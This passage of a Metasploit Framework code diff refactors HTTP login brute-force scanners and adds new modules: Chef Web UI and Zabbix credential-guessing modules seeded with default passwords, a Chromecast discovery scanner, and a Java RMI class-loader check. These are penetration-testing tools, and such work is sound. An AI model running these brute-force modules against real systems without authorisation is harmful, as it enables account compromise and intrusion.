datastore['STOP_ON_SUCCESS'], bruteforce_speed: datastore['BRUTEFORCE_SPEED'], connection_timeout: 5, - framework: framework, - framework_module: self, + ) ) scanner.scan! do |result| diff --git a/modules/auxiliary/scanner/http/axis_login.rb b/modules/auxiliary/scanner/http/axis_login.rb index 36ef2bcb169e..28a2480f7515 100644 --- a/modules/auxiliary/scanner/http/axis_login.rb +++ b/modules/auxiliary/scanner/http/axis_login.rb @@ -21,7 +21,7 @@ def initialize 'Name' => 'Apache Axis2 Brute Force Utility', 'Description' => %q{ This module attempts to login to an Apache Axis2 instance using - username and password combindations indicated by the USER_FILE, + username and password combinations indicated by the USER_FILE, PASS_FILE, and USERPASS_FILE options. It has been verified to work on at least versions 1.4.1 and 1.6.2. }, @@ -79,18 +79,13 @@ def run_host(ip) cred_collection = prepend_db_passwords(cred_collection) scanner = Metasploit::Framework::LoginScanner::Axis2.new( - host: ip, - port: rport, - uri: uri, - proxies: proxies, - cred_details: cred_collection, - stop_on_success: datastore['STOP_ON_SUCCESS'], - bruteforce_speed: datastore['BRUTEFORCE_SPEED'], - connection_timeout: 5, - user_agent: datastore['UserAgent'], - vhost: datastore['VHOST'], - framework: framework, - framework_module: self, + configure_http_login_scanner( + uri: uri, + cred_details: cred_collection, + stop_on_success: datastore['STOP_ON_SUCCESS'], + bruteforce_speed: datastore['BRUTEFORCE_SPEED'], + connection_timeout: 5 + ) ) scanner.scan! do |result| diff --git a/modules/auxiliary/scanner/http/buffalo_login.rb b/modules/auxiliary/scanner/http/buffalo_login.rb index 090ac07bc13b..26d643853f98 100644 --- a/modules/auxiliary/scanner/http/buffalo_login.rb +++ b/modules/auxiliary/scanner/http/buffalo_login.rb @@ -34,27 +34,22 @@ def initialize def run_host(ip) cred_collection = Metasploit::Framework::CredentialCollection.new( - blank_passwords: datastore['BLANK_PASSWORDS'], - pass_file: datastore['PASS_FILE'], - password: datastore['PASSWORD'], - user_file: datastore['USER_FILE'], - userpass_file: datastore['USERPASS_FILE'], - username: datastore['USERNAME'], - user_as_pass: datastore['USER_AS_PASS'] + blank_passwords: datastore['BLANK_PASSWORDS'], + pass_file: datastore['PASS_FILE'], + password: datastore['PASSWORD'], + user_file: datastore['USER_FILE'], + userpass_file: datastore['USERPASS_FILE'], + username: datastore['USERNAME'], + user_as_pass: datastore['USER_AS_PASS'] ) scanner = Metasploit::Framework::LoginScanner::Buffalo.new( - host: ip, - port: rport, - proxies: datastore['PROXIES'], - cred_details: cred_collection, - stop_on_success: datastore['STOP_ON_SUCCESS'], - bruteforce_speed: datastore['BRUTEFORCE_SPEED'], - connection_timeout: 10, - user_agent: datastore['UserAgent'], - vhost: datastore['VHOST'], - framework: framework, - framework_module: self, + configure_http_login_scanner( + cred_details: cred_collection, + stop_on_success: datastore['STOP_ON_SUCCESS'], + bruteforce_speed: datastore['BRUTEFORCE_SPEED'], + connection_timeout: 10 + ) ) scanner.scan! do |result| diff --git a/modules/auxiliary/scanner/http/chef_webui_login.rb b/modules/auxiliary/scanner/http/chef_webui_login.rb new file mode 100644 index 000000000000..c5145c150706 --- /dev/null +++ b/modules/auxiliary/scanner/http/chef_webui_login.rb @@ -0,0 +1,155 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'metasploit/framework/login_scanner/chef_webui' +require 'metasploit/framework/credential_collection' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::AuthBrute + include Msf::Auxiliary::Report + include Msf::Auxiliary::Scanner + + def initialize + super( + 'Name' => 'Chef Web UI Brute Force Utility', + 'Description' => %q{ + This module attempts to login to Chef Web UI server instance using username and password + combinations indicated by the USER_FILE, PASS_FILE, and USERPASS_FILE options. It + will also test for the default login (admin:p@ssw0rd1). + }, + 'Author' => + [ + 'hdm' + ], + 'License' => MSF_LICENSE + ) + + register_options( + [ + Opt::RPORT(443), + OptString.new('TARGETURI', [ true, 'The path to the Chef Web UI application', '/']), + OptBool.new('SSL', [true, 'Negotiate SSL for outgoing connections', true]), + OptEnum.new('SSLVersion', [false, 'Specify the version of SSL that should be used', 'TLS1', ['SSL2', 'SSL3', 'TLS1']]) + ], self.class) + end + + # + # main + # + def run_host(ip) + init_loginscanner(ip) + msg = @scanner.check_setup + if msg + print_brute :level => :error, :ip => rhost, :msg => msg + return + end + + print_brute :level=>:status, :ip=>rhost, :msg=>("Found Chef Web UI application at #{datastore['TARGETURI']}") + bruteforce(ip) + end + + def bruteforce(ip) + @scanner.scan! do |result| + case result.status + when Metasploit::Model::Login::Status::SUCCESSFUL + print_brute :level => :good, :ip => ip, :msg => "Success: '#{result.credential}'" + do_report(ip, rport, result) + :next_user + when Metasploit::Model::Login::Status::DENIED_ACCESS + print_brute :level => :status, :ip => ip, :msg => "Correct credentials, but unable to login: '#{result.credential}'" + do_report(ip, rport, result) + :next_user + when Metasploit::Model::Login::Status::UNABLE_TO_CONNECT + if datastore['VERBOSE'] + print_brute :level => :verror, :ip => ip, :msg => "Could not connect" + end + invalidate_login( + address: ip, + port: rport, + protocol: 'tcp', + public: result.credential.public, + private: result.credential.private, + realm_key: result.credential.realm_key, + realm_value: result.credential.realm, + status: result.status + ) + :abort + when Metasploit::Model::Login::Status::INCORRECT + if datastore['VERBOSE'] + print_brute :level => :verror, :ip => ip, :msg => "Failed: '#{result.credential}'" + end + invalidate_login( + address: ip, + port: rport, + protocol: 'tcp', + public: result.credential.public, + private: result.credential.private, + realm_key: result.credential.realm_key, + realm_value: result.credential.realm, + status: result.status + ) + end + end + end + + def do_report(ip, port, result) + service_data = { + address: ip, + port: port, + service_name: 'http', + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + module_fullname: self.fullname, + origin_type: :service, + private_data: result.credential.private, + private_type: :password, + username: result.credential.public, + }.merge(service_data) + + credential_core = create_credential(credential_data) + + login_data = { + core: credential_core, + last_attempted_at: DateTime.now, + status: result.status + }.merge(service_data) + + create_credential_login(login_data) + end + + def init_loginscanner(ip) + @cred_collection = Metasploit::Framework::CredentialCollection.new( + blank_passwords: datastore['BLANK_PASSWORDS'], + pass_file: datastore['PASS_FILE'], + password: datastore['PASSWORD'], + user_file: datastore['USER_FILE'], + userpass_file: datastore['USERPASS_FILE'], + username: datastore['USERNAME'], + user_as_pass: datastore['USER_AS_PASS'] + ) + + # Always try the default first + @cred_collection.prepend_cred( + Metasploit::Framework::Credential.new(public: 'admin', private: 'p@ssw0rd1') + ) + + @scanner = Metasploit::Framework::LoginScanner::ChefWebUI.new( + configure_http_login_scanner( + uri: datastore['TARGETURI'], + cred_details: @cred_collection, + stop_on_success: datastore['STOP_ON_SUCCESS'], + bruteforce_speed: datastore['BRUTEFORCE_SPEED'], + connection_timeout: 5 + ) + ) + end + +end diff --git a/modules/auxiliary/scanner/http/chromecast_webserver.rb b/modules/auxiliary/scanner/http/chromecast_webserver.rb new file mode 100644 index 000000000000..5ac407a82694 --- /dev/null +++ b/modules/auxiliary/scanner/http/chromecast_webserver.rb @@ -0,0 +1,63 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit4 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Scanner + include Msf::Auxiliary::Report + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Chromecast Web Server Scanner', + 'Description' => %q{ + This module scans for the Chromecast web server on port 8008/TCP, and + can be used to discover devices which can be targeted by other Chromecast + modules, such as chromecast_youtube. + }, + 'Author' => ['wvu'], + 'References' => [ + ['URL', 'https://www.google.com/chrome/devices/chromecast/'] + ], + 'License' => MSF_LICENSE + )) + + register_options([ + Opt::RPORT(8008) + ]) + end + + def run_host(ip) + res = send_request_raw( + 'method' => 'GET', + 'uri' => '/setup/eureka_info', + 'agent' => Rex::Text.rand_text_english(rand(42) + 1) + ) + + return unless (res && res.code == 200) + + begin + json = JSON.parse(res.body) + rescue JSON::ParserError + return + end + + name, ssid = json['name'], json['ssid'] + + if name && ssid + print_good(%Q{#{peer} - Chromecast "#{name}" is connected to #{ssid}}) + report_service( + :host => ip, + :port => rport, + :proto => 'tcp', + :name => 'http', + :info => %Q{Chromecast "#{name}" connected to #{ssid}} + ) + end + end + +end diff --git a/modules/auxiliary/scanner/http/glassfish_login.rb b/modules/auxiliary/scanner/http/glassfish_login.rb index 46cd3445bc3d..a1286990128b 100644 --- a/modules/auxiliary/scanner/http/glassfish_login.rb +++ b/modules/auxiliary/scanner/http/glassfish_login.rb @@ -19,7 +19,7 @@ def initialize 'Name' => 'GlassFish Brute Force Utility', 'Description' => %q{ This module attempts to login to GlassFish instance using username and password - combindations indicated by the USER_FILE, PASS_FILE, and USERPASS_FILE options. + combinations indicated by the USER_FILE, PASS_FILE, and USERPASS_FILE options. It will also try to do an authentication bypass against older versions of GlassFish. Note: by default, GlassFish 4.0 requires HTTPS, which means you must set the SSL option to true, and SSLVersion to TLS1. It also needs Secure Admin to access the DAS remotely. @@ -52,11 +52,6 @@ def initialize # the LoginScanner class so the authentication can proceed properly # - # Overrides the ssl method from HttpClient - def ssl - @scanner.ssl || datastore['SSL'] - end - # # For a while, older versions of Glassfish didn't need to set a password for admin, # but looks like no longer the case anymore, which means this method is getting useless @@ -95,19 +90,13 @@ def init_loginscanner(ip) ) @scanner = Metasploit::Framework::LoginScanner::Glassfish.new( - host: ip, - port: rport, - proxies: datastore["PROXIES"], - cred_details: @cred_collection, - stop_on_success: datastore['STOP_ON_SUCCESS'], - bruteforce_speed: datastore['BRUTEFORCE_SPEED'], - connection_timeout: 5, - framework: framework, - framework_module: self, + configure_http_login_scanner( + cred_details: @cred_collection, + stop_on_success: datastore['STOP_ON_SUCCESS'], + bruteforce_speed: datastore['BRUTEFORCE_SPEED'], + connection_timeout: 5 + ) ) - - @scanner.ssl = datastore['SSL'] - @scanner.ssl_version = datastore['SSLVERSION'] end def do_report(ip, port, result) diff --git a/modules/auxiliary/scanner/http/hp_sys_mgmt_login.rb b/modules/auxiliary/scanner/http/hp_sys_mgmt_login.rb index cf4aec64bce8..4862e4921672 100644 --- a/modules/auxiliary/scanner/http/hp_sys_mgmt_login.rb +++ b/modules/auxiliary/scanner/http/hp_sys_mgmt_login.rb @@ -32,6 +32,12 @@ def initialize(info={}) 'PASS_FILE' => File.join(Msf::Config.data_directory, "wordlists", "unix_passwords.txt") } )) + + register_advanced_options([ + OptString.new('LOGIN_URL', [true, 'The URL that handles the login process', '/proxy/ssllogin']), + OptString.new('CPQLOGIN', [true, 'The homepage of the login', '/cpqlogin.htm']), + OptString.new('LOGIN_REDIRECT', [true, 'The URL to redirect to', '/cpqlogin']) + ], self.class) end def get_version(res) @@ -76,20 +82,14 @@ def init_loginscanner(ip) ) @scanner = Metasploit::Framework::LoginScanner::Smh.new( - host: ip, - port: rport, - uri: datastore['URI'], - proxies: datastore["PROXIES"], - cred_details: @cred_collection, - stop_on_success: datastore['STOP_ON_SUCCESS'], - bruteforce_speed: datastore['BRUTEFORCE_SPEED'], - connection_timeout: 5, - framework: framework, - framework_module: self, + configure_http_login_scanner( + uri: datastore['LOGIN_URL'], + cred_details: @cred_collection, + stop_on_success: datastore['STOP_ON_SUCCESS'], + bruteforce_speed: datastore['BRUTEFORCE_SPEED'], + connection_timeout: 5 + ) ) - - @scanner.ssl = datastore['SSL'] - @scanner.ssl_version = datastore['SSLVERSION'] end def do_report(ip, port, result) @@ -163,10 +163,10 @@ def bruteforce(ip) def run_host(ip) res = send_request_cgi({ - 'uri' => '/cpqlogin.htm', + 'uri' => datastore['CPQLOGIN'], 'method' => 'GET', 'vars_get' => { - 'RedirectUrl' => '/cpqlogin', + 'RedirectUrl' => datastore['LOGIN_REDIRECT'], 'RedirectQueryString' => '' } }) diff --git a/modules/auxiliary/scanner/http/http_login.rb b/modules/auxiliary/scanner/http/http_login.rb index 6fba649965fe..228562ae0db1 100644 --- a/modules/auxiliary/scanner/http/http_login.rb +++ b/modules/auxiliary/scanner/http/http_login.rb @@ -22,10 +22,6 @@ def initialize super( 'Name' => 'HTTP Login Utility', 'Description' => 'This module attempts to authenticate to an HTTP service.', - 'References' => - [ - - ], 'Author' => [ 'hdm' ], 'References' => [ @@ -74,6 +70,7 @@ def find_auth_uri /auth/ /manager/ /Management.asp + /ews/ } end @@ -153,19 +150,14 @@ def run_host(ip) cred_collection = prepend_db_passwords(cred_collection) scanner = Metasploit::Framework::LoginScanner::HTTP.new( - host: ip, - port: rport, - uri: @uri, - method: datastore['REQUESTTYPE'], - proxies: datastore["PROXIES"], - cred_details: cred_collection, - stop_on_success: datastore['STOP_ON_SUCCESS'], - bruteforce_speed: datastore['BRUTEFORCE_SPEED'], - connection_timeout: 5, - user_agent: datastore['UserAgent'], - vhost: datastore['VHOST'], - framework: framework, - framework_module: self, + configure_http_login_scanner( + uri: @uri, + method: datastore['REQUESTTYPE'], + cred_details: cred_collection, + stop_on_success: datastore['STOP_ON_SUCCESS'], + bruteforce_speed: datastore['BRUTEFORCE_SPEED'], + connection_timeout: 5 + ) ) msg = scanner.check_setup diff --git a/modules/auxiliary/scanner/http/ipboard_login.rb b/modules/auxiliary/scanner/http/ipboard_login.rb index 6ef45268bbf0..2e32e763ef8a 100644 --- a/modules/auxiliary/scanner/http/ipboard_login.rb +++ b/modules/auxiliary/scanner/http/ipboard_login.rb @@ -38,18 +38,13 @@ def run_host(ip) ) scanner = Metasploit::Framework::LoginScanner::IPBoard.new( - host: ip, - port: rport, + configure_http_login_scanner( uri: normalize_uri(target_uri.path), - proxies: datastore["PROXIES"], cred_details: cred_collection, stop_on_success: datastore['STOP_ON_SUCCESS'], bruteforce_speed: datastore['BRUTEFORCE_SPEED'], - connection_timeout: 5, - user_agent: datastore['UserAgent'], - vhost: datastore['VHOST'], - framework: framework, - framework_module: self, + connection_timeout: 5 + ) ) scanner.scan! do |result| diff --git a/modules/auxiliary/scanner/http/jenkins_login.rb b/modules/auxiliary/scanner/http/jenkins_login.rb index ad84cc749840..515618d3a524 100644 --- a/modules/auxiliary/scanner/http/jenkins_login.rb +++ b/modules/auxiliary/scanner/http/jenkins_login.rb @@ -33,27 +33,22 @@ def initialize def run_host(ip) cred_collection = Metasploit::Framework::CredentialCollection.new( - blank_passwords: datastore['BLANK_PASSWORDS'], - pass_file: datastore['PASS_FILE'], - password: datastore['PASSWORD'], - user_file: datastore['USER_FILE'], - userpass_file: datastore['USERPASS_FILE'], - username: datastore['USERNAME'], - user_as_pass: datastore['USER_AS_PASS'] + blank_passwords: datastore['BLANK_PASSWORDS'], + pass_file: datastore['PASS_FILE'], + password: datastore['PASSWORD'], + user_file: datastore['USER_FILE'], + userpass_file: datastore['USERPASS_FILE'], + username: datastore['USERNAME'], + user_as_pass: datastore['USER_AS_PASS'] ) scanner = Metasploit::Framework::LoginScanner::Jenkins.new( - host: ip, - port: rport, - proxies: datastore['PROXIES'], - cred_details: cred_collection, - stop_on_success: datastore['STOP_ON_SUCCESS'], - bruteforce_speed: datastore['BRUTEFORCE_SPEED'], - connection_timeout: 10, - user_agent: datastore['UserAgent'], - vhost: datastore['VHOST'], - framework: framework, - framework_module: self, + configure_http_login_scanner( + cred_details: cred_collection, + stop_on_success: datastore['STOP_ON_SUCCESS'], + bruteforce_speed: datastore['BRUTEFORCE_SPEED'], + connection_timeout: 10 + ) ) scanner.scan! do |result| diff --git a/modules/auxiliary/scanner/http/mybook_live_login.rb b/modules/auxiliary/scanner/http/mybook_live_login.rb index 73a63d7d28a1..caeca141c75c 100644 --- a/modules/auxiliary/scanner/http/mybook_live_login.rb +++ b/modules/auxiliary/scanner/http/mybook_live_login.rb @@ -55,24 +55,14 @@ def run_host(ip) ) scanner = Metasploit::Framework::LoginScanner::MyBookLive.new( - host: ip, - port: rport, - proxies: datastore['PROXIES'], - cred_details: cred_collection, - stop_on_success: datastore['STOP_ON_SUCCESS'], - bruteforce_speed: datastore['BRUTEFORCE_SPEED'], - connection_timeout: 10, - user_agent: datastore['UserAgent'], - vhost: datastore['VHOST'], - framework: framework, - framework_module: self, + configure_http_login_scanner( + cred_details: cred_collection, + stop_on_success: datastore['STOP_ON_SUCCESS'], + bruteforce_speed: datastore['BRUTEFORCE_SPEED'], + connection_timeout: 10, + ) ) - if ssl - scanner.ssl = datastore['SSL'] - scanner.ssl_version = datastore['SSLVERSION'] - end - scanner.scan! do |result| credential_data = result.to_h credential_data.merge!( diff --git a/modules/auxiliary/scanner/http/splunk_web_login.rb b/modules/auxiliary/scanner/http/splunk_web_login.rb index 3ec0e6bd13f1..57a569b075bb 100644 --- a/modules/auxiliary/scanner/http/splunk_web_login.rb +++ b/modules/auxiliary/scanner/http/splunk_web_login.rb @@ -154,24 +154,30 @@ def do_login(user, pass) } }) - if not res or res.code != 303 + if not res + vprint_error("FAILED LOGIN. '#{user}' : '#{pass}' returned no response") + return :skip_pass + end + + unless res.code == 303 || (res.code == 200 && res.body.to_s.index('{"status":0}')) vprint_error("FAILED LOGIN. '#{user}' : '#{pass}' with code #{res.code}") return :skip_pass - else - print_good("SUCCESSFUL LOGIN. '#{user}' : '#{pass}'") - - report_hash = { - :host => datastore['RHOST'], - :port => datastore['RPORT'], - :sname => 'splunk-web', - :user => user, - :pass => pass, - :active => true, - :type => 'password'} - - report_auth_info(report_hash) - return :next_user end + + print_good("SUCCESSFUL LOGIN. '#{user}' : '#{pass}'") + + report_hash = { + :host => datastore['RHOST'], + :port => datastore['RPORT'], + :sname => 'splunk-web', + :user => user, + :pass => pass, + :active => true, + :type => 'password'} + + report_auth_info(report_hash) + return :next_user + rescue ::Rex::ConnectionError, Errno::ECONNREFUSED, Errno::ETIMEDOUT print_error("HTTP Connection Failed, Aborting") return :abort diff --git a/modules/auxiliary/scanner/http/tomcat_mgr_login.rb b/modules/auxiliary/scanner/http/tomcat_mgr_login.rb index b7e07631a6e2..6847640f9c61 100644 --- a/modules/auxiliary/scanner/http/tomcat_mgr_login.rb +++ b/modules/auxiliary/scanner/http/tomcat_mgr_login.rb @@ -94,29 +94,24 @@ def run_host(ip) end cred_collection = Metasploit::Framework::CredentialCollection.new( - blank_passwords: datastore['BLANK_PASSWORDS'], - pass_file: datastore['PASS_FILE'], - password: datastore['PASSWORD'], - user_file: datastore['USER_FILE'], - userpass_file: datastore['USERPASS_FILE'], - username: datastore['USERNAME'], - user_as_pass: datastore['USER_AS_PASS'], + blank_passwords: datastore['BLANK_PASSWORDS'], + pass_file: datastore['PASS_FILE'], + password: datastore['PASSWORD'], + user_file: datastore['USER_FILE'], + userpass_file: datastore['USERPASS_FILE'], + username: datastore['USERNAME'], + user_as_pass: datastore['USER_AS_PASS'], ) cred_collection = prepend_db_passwords(cred_collection) scanner = Metasploit::Framework::LoginScanner::Tomcat.new( - host: ip, - port: rport, - proxies: datastore['PROXIES'], + configure_http_login_scanner( cred_details: cred_collection, stop_on_success: datastore['STOP_ON_SUCCESS'], bruteforce_speed: datastore['BRUTEFORCE_SPEED'], - connection_timeout: 10, - user_agent: datastore['UserAgent'], - vhost: datastore['VHOST'], - framework: framework, - framework_module: self, + connection_timeout: 10 + ) ) scanner.scan! do |result| diff --git a/modules/auxiliary/scanner/http/wordpress_xmlrpc_login.rb b/modules/auxiliary/scanner/http/wordpress_xmlrpc_login.rb index 79b2ba5114e8..0c5ab06de144 100644 --- a/modules/auxiliary/scanner/http/wordpress_xmlrpc_login.rb +++ b/modules/auxiliary/scanner/http/wordpress_xmlrpc_login.rb @@ -64,16 +64,13 @@ def run_host(ip) ) scanner = Metasploit::Framework::LoginScanner::WordpressRPC.new( - host: ip, - port: rport, + configure_http_login_scanner( uri: wordpress_url_xmlrpc, - proxies: datastore["PROXIES"], cred_details: cred_collection, stop_on_success: datastore['STOP_ON_SUCCESS'], bruteforce_speed: datastore['BRUTEFORCE_SPEED'], connection_timeout: 5, - framework: framework, - framework_module: self, + ) ) scanner.scan! do |result| diff --git a/modules/auxiliary/scanner/http/zabbix_login.rb b/modules/auxiliary/scanner/http/zabbix_login.rb new file mode 100644 index 000000000000..22d103466df4 --- /dev/null +++ b/modules/auxiliary/scanner/http/zabbix_login.rb @@ -0,0 +1,176 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'metasploit/framework/login_scanner/zabbix' +require 'metasploit/framework/credential_collection' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::AuthBrute + include Msf::Auxiliary::Report + include Msf::Auxiliary::Scanner + + def initialize + super( + 'Name' => 'Zabbix Server Brute Force Utility', + 'Description' => %q{ + This module attempts to login to Zabbix server instance using username and password + combinations indicated by the USER_FILE, PASS_FILE, and USERPASS_FILE options. It + will also test for the Zabbix default login (Admin:zabbix) and guest access. + }, + 'Author' => + [ + 'hdm' + ], + 'License' => MSF_LICENSE + ) + + register_options( + [ + Opt::RPORT(80), + OptString.new('TARGETURI', [ true, 'The path to the Zabbix server application', '/zabbix/']), + OptBool.new('SSL', [false, 'Negotiate SSL for outgoing connections', false]), + OptEnum.new('SSLVersion', [false, 'Specify the version of SSL that should be used', 'TLS1', ['SSL2', 'SSL3', 'TLS1']]) + ], self.class) + end + + # + # main + # + def run_host(ip) + init_loginscanner(ip) + msg = @scanner.check_setup + if msg + print_brute :level => :error, :ip => rhost, :msg => msg + return + end + + print_brute :level=>:status, :ip=>rhost, :msg=>("Found Zabbix version #{@scanner.version}") + + if is_guest_mode_enabled? + print_brute :level => :good, :ip => ip, :msg => "Note: This Zabbix instance has Guest mode enabled" + else + print_brute :level=>:status, :ip=>rhost, :msg=>("Zabbix has disabled Guest mode") + end + + bruteforce(ip) + end + + def bruteforce(ip) + @scanner.scan! do |result| + case result.status + when Metasploit::Model::Login::Status::SUCCESSFUL + print_brute :level => :good, :ip => ip, :msg => "Success: '#{result.credential}'" + do_report(ip, rport, result) + :next_user + when Metasploit::Model::Login::Status::DENIED_ACCESS + print_brute :level => :status, :ip => ip, :msg => "Correct credentials, but unable to login: '#{result.credential}'" + do_report(ip, rport, result) + :next_user + when Metasploit::Model::Login::Status::UNABLE_TO_CONNECT + if datastore['VERBOSE'] + print_brute :level => :verror, :ip => ip, :msg => "Could not connect" + end + invalidate_login( + address: ip, + port: rport, + protocol: 'tcp', + public: result.credential.public, + private: result.credential.private, + realm_key: result.credential.realm_key, + realm_value: result.credential.realm, + status: result.status + ) + :abort + when Metasploit::Model::Login::Status::INCORRECT + if datastore['VERBOSE'] + print_brute :level => :verror, :ip => ip, :msg => "Failed: '#{result.credential}'" + end + invalidate_login( + address: ip, + port: rport, + protocol: 'tcp', + public: result.credential.public, + private: result.credential.private, + realm_key: result.credential.realm_key, + realm_value: result.credential.realm, + status: result.status + ) + end + end + end + + def do_report(ip, port, result) + service_data = { + address: ip, + port: port, + service_name: 'http', + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + module_fullname: self.fullname, + origin_type: :service, + private_data: result.credential.private, + private_type: :password, + username: result.credential.public, + }.merge(service_data) + + credential_core = create_credential(credential_data) + + login_data = { + core: credential_core, + last_attempted_at: DateTime.now, + status: result.status + }.merge(service_data) + + create_credential_login(login_data) + end + + def init_loginscanner(ip) + @cred_collection = Metasploit::Framework::CredentialCollection.new( + blank_passwords: datastore['BLANK_PASSWORDS'], + pass_file: datastore['PASS_FILE'], + password: datastore['PASSWORD'], + user_file: datastore['USER_FILE'], + userpass_file: datastore['USERPASS_FILE'], + username: datastore['USERNAME'], + user_as_pass: datastore['USER_AS_PASS'] + ) + + # Always try the default first + @cred_collection.prepend_cred( + Metasploit::Framework::Credential.new(public: 'Admin', private: 'zabbix') + ) + + @scanner = Metasploit::Framework::LoginScanner::Zabbix.new( + configure_http_login_scanner( + uri: datastore['TARGETURI'], + cred_details: @cred_collection, + stop_on_success: datastore['STOP_ON_SUCCESS'], + bruteforce_speed: datastore['BRUTEFORCE_SPEED'], + connection_timeout: 5, + ) + ) + end + + # + # From the documentation: + # + # "In case of five consecutive failed login attempts, Zabbix interface will pause for 30 + # seconds in order to prevent brute force and dictionary attacks." + # + + # Zabbix enables a Guest mode by default that allows access to the dashboard without auth + def is_guest_mode_enabled? + dashboard_uri = normalize_uri(datastore['TARGETURI'] + '/' + 'dashboard.php') + res = send_request_cgi({'uri'=>dashboard_uri}) + !! (res && res.code == 200 && res.body.to_s =~ /<title>Zabbix .*: Dashboard<\/title>/) + end + +end diff --git a/modules/auxiliary/scanner/misc/java_rmi_server.rb b/modules/auxiliary/scanner/misc/java_rmi_server.rb index 50afdbd8fd3e..7412806b6043 100644 --- a/modules/auxiliary/scanner/misc/java_rmi_server.rb +++ b/modules/auxiliary/scanner/misc/java_rmi_server.rb @@ -4,10 +4,11 @@ ## require 'msf/core' +require 'rex/java/serialization' class Metasploit3 < Msf::Auxiliary - include Msf::Exploit::Remote::Tcp + include Msf::Java::Rmi::Client include Msf::Auxiliary::Scanner include Msf::Auxiliary::Report @@ -33,96 +34,122 @@ def initialize ], self.class) end - def setup - buf = gen_rmi_loader_packet + def run_host(target_host) + vprint_status("#{peer} - Sending RMI Header...") + connect - jar = Rex::Text.rand_text_alpha(rand(8)+1) + '.jar' - old_url = "file:./rmidummy.jar" - new_url = "file:RMIClassLoaderSecurityTest/" + jar + send_header + ack = recv_protocol_ack + if ack.nil? + print_error("#{peer} - Filed to negotiate RMI protocol") + disconnect + return + end - # Java strings in serialized data are prefixed with a 2-byte, big endian length - # (at least, as long as they are shorter than 65536 bytes) - find_me = [old_url.length].pack("n") + old_url + # Determine if the instance allows remote class loading + vprint_status("#{peer} - Sending RMI Call...") + jar = Rex::Text.rand_text_alpha(rand(8)+1) + '.jar' + jar_url = "file:RMIClassLoaderSecurityTest/" + jar - idx = buf.index(find_me) - len = [new_url.length].pack("n") + send_call(call_data: build_gc_call_data(jar_url)) + return_data = recv_return - # Now replace it with the new url - buf[idx, find_me.length] = len + new_url + if return_data.nil? + print_error("#{peer} - Failed to send RMI Call, anyway JAVA RMI Endpoint detected") + report_service(:host => rhost, :port => rport, :name => "java-rmi", :info => "") + return + end - @pkt = "JRMI" + [2,0x4b,0,0].pack("nCnN") + buf + if loader_enabled?(return_data) + print_good("#{rhost}:#{rport} Java RMI Endpoint Detected: Class Loader Enabled") + svc = report_service(:host => rhost, :port => rport, :name => "java-rmi", :info => "Class Loader: Enabled") + report_vuln( + :host => rhost, + :service => svc, + :name => self.name, + :info => "Module #{self.fullname} confirmed remote code execution via this RMI service", + :refs => self.references + ) + else + print_status("#{rhost}:#{rport} Java RMI Endpoint Detected: Class Loader Disabled") + report_service(:host => rhost, :port => rport, :name => "java-rmi", :info => "Class Loader: Disabled") + end end - def run_host(target_host) - - begin - connect - sock.put("\x4a\x52\x4d\x49\0\x02\x4b") - res = sock.get_once - disconnect - - if res and res =~ /^\x4e..([^\x00]+)\x00\x00/ - info = $1 - - begin - # Determine if the instance allows remote class loading - connect - sock.put(@pkt) rescue nil - - buf = "" - 1.upto(6) do - res = sock.get_once(-1, 5) rescue nil - break if not res - buf << res - end - - rescue ::Interrupt - raise $! - rescue ::Exception - ensure - disconnect - end - - if buf =~ /RMI class loader disabled/ - print_status("#{rhost}:#{rport} Java RMI Endpoint Detected: Class Loader Disabled") - report_service(:host => rhost, :port => rport, :name => "java-rmi", :info => "Class Loader: Disabled") - elsif buf.length > 0 - print_good("#{rhost}:#{rport} Java RMI Endpoint Detected: Class Loader Enabled") - svc = report_service(:host => rhost, :port => rport, :name => "java-rmi", :info => "Class Loader: Enabled") - report_vuln( - :host => rhost, - :service => svc, - :name => self.name, - :info => "Module #{self.fullname} confirmed remote code execution via this RMI service", - :refs => self.references - ) - else - print_status("#{rhost}:#{rport} Java RMI Endpoint Detected") - report_service(:host => rhost, :port => rport, :name => "java-rmi", :info => "") - end - + def loader_enabled?(stream) + stream.contents.each do |content| + if content.class == Rex::Java::Serialization::Model::NewObject && + content.class_desc.description.class == Rex::Java::Serialization::Model::NewClassDesc && + content.class_desc.description.class_name.contents == 'java.lang.ClassNotFoundException'&& + content.class_data[0].class == Rex::Java::Serialization::Model::NullReference && + !content.class_data[1].contents.include?('RMI class loader disabled') + return true end - - rescue ::Interrupt - raise $! - rescue ::Rex::ConnectionError, ::IOError - ensure - disconnect end + false end - def gen_rmi_loader_packet - "\x50\xac\xed\x00\x05\x77\x22\x00\x00\x00\x00\x00\x00\x00\x02\x00" + - "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + - "\x00\xf6\xb6\x89\x8d\x8b\xf2\x86\x43\x75\x72\x00\x18\x5b\x4c\x6a" + - "\x61\x76\x61\x2e\x72\x6d\x69\x2e\x73\x65\x72\x76\x65\x72\x2e\x4f" + - "\x62\x6a\x49\x44\x3b\x87\x13\x00\xb8\xd0\x2c\x64\x7e\x02\x00\x00" + - "\x70\x78\x70\x00\x00\x00\x00\x77\x08\x00\x00\x00\x00\x00\x00\x00" + - "\x00\x73\x72\x00\x14\x6d\x65\x74\x61\x73\x70\x6c\x6f\x69\x74\x2e" + - "\x52\x4d\x49\x4c\x6f\x61\x64\x65\x72\xa1\x65\x44\xba\x26\xf9\xc2" + - "\xf4\x02\x00\x00\x74\x00\x13\x66\x69\x6c\x65\x3a\x2e\x2f\x72\x6d" + - "\x69\x64\x75\x6d\x6d\x79\x2e\x6a\x61\x72\x78\x70\x77\x01\x00\x0a" + def build_gc_call_data(jar_url) + stream = Rex::Java::Serialization::Model::Stream.new + + block_data = Rex::Java::Serialization::Model::BlockData.new + block_data.contents = 